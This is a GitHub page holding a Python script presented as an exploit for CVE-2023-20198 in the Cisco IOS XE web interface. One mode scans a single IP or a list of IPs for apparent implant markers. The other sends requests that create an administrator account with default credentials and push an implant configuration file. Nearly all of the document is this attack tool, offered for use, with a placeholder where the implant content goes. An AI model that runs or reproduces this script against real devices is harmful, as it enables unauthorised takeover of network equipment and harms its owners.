-
Notifications
You must be signed in to change notification settings - Fork 4
/
cve-2023-20198.py
111 lines (102 loc) · 4.59 KB
/
cve-2023-20198.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import requests
import argparse
import re
def readfile(target):
with open(target) as f:
res = f.readlines()
f.close()
return res
def check_me(target, scheme):
success_ips = []
failed_ips = []
url = f"{scheme}://{target}/webui/logoutconfirm.html"
check_payload = {"logon_hash": "1"}
try:
response = requests.post(url, data=check_payload, timeout=3, verify=False)
if response.status_code == 200:
print(f"IP: {target} - Status: {response.status_code}")
pattern = re.compile(r"^([a-f0-9]{18})\s*$")
res = pattern.findall(response.text)
# Check if the response content is a suspicious mark of length < 32 characters.
if len(response.text) < 32 or res:
print(f"IP: {target} - Response is a potentially suspicious: {response.text}")
success_ips.append(target)
else:
print(f"IP: {target} - Response is to long.")
failed_ips.append(target)
else:
print(f"IP: {target} - Status: {response.status_code}")
except requests.RequestException as e:
print(f"IP: {target} - Error: no reply, target is possibly offline or unavailable")
print(f"The tracelog is {e}")
def exploit_me(target, username, password, config, scheme):
url = f"{scheme}://{target}/webui/create_user"
user_payload = {
"username": username,
"password": password
}
try:
response = requests.post(url, data=user_payload, verify=False)
if response.status_code == 200:
print(f"Target {target}. Successfully created local user account: {username}, {password}")
# Exploit CVE-2021-1435 to install the implant
install_url = f"{scheme}://{target}/webui/cisco_service.conf"
config_payload = {
"config_content": config
}
response = requests.post(install_url, data=config_payload, verify=False)
if response.status_code == 200:
print(f"Target {target}. The config is successfully created: {config}")
else:
print(f"IP: {target} - Status: {response.status_code}")
else:
print(f"IP: {target} - Status: {response.status_code}")
except requests.RequestException as e:
print(f"IP: {target} - Error: no reply, target is possibly offline or unavailable")
print(f"The tracelog is {e}")
# Press the green button in the gutter to run the script.
if __name__ == '__main__':
parser = argparse.ArgumentParser(prog="iveresk CVE-2023-20198. CVSS3.1 10.0")
parser.add_argument('-m', '--mode', help='Set the mode of the execution. Exploit or infrastructure check', default="check", required=False, type=str)
parser.add_argument('-s', '--scheme', help='Could be http or https', default="https", required=False, type=str)
parser.add_argument('-t', '--target', help='A target IP', required=False, type=str)
parser.add_argument('-f', '--file', help='A file with target IPs', required=False, type=str)
parser.add_argument('-u', '--username', help='The user name for the exploit', required=False, type=str)
parser.add_argument('-p', '--password', help='The password for the exploit', required=False, type=str)
parser.add_argument('-c', '--config', help='The password for the exploit', required=False, type=str)
args = parser.parse_args()
# default params for the exploit
isfile = False # we'll set is as True only in a case when args.file is not None
username = "cisco_adm1n"
password = "adm!n123456"
config = "<insert implant configuration content here>"
# checking on parameters variation
if args.target is None:
if args.file is None:
parser.print_help()
exit(0)
if args.file is None:
target = args.target
else:
target = args.file
isfile = True
if args.mode == "check":
if not isfile:
check_me(target, args.scheme)
else:
targets = readfile(target)
for target in targets:
check_me(target, args.scheme)
if args.mode == "exploit":
if args.username is not None:
username = args.username
if args.password is not None:
password = args.password
if args.config is not None:
config = args.config
if not isfile:
exploit_me(target, username, password, config, args.scheme)
else:
targets = readfile(target)
for target in targets:
exploit_me(target, username, password, config, args.scheme)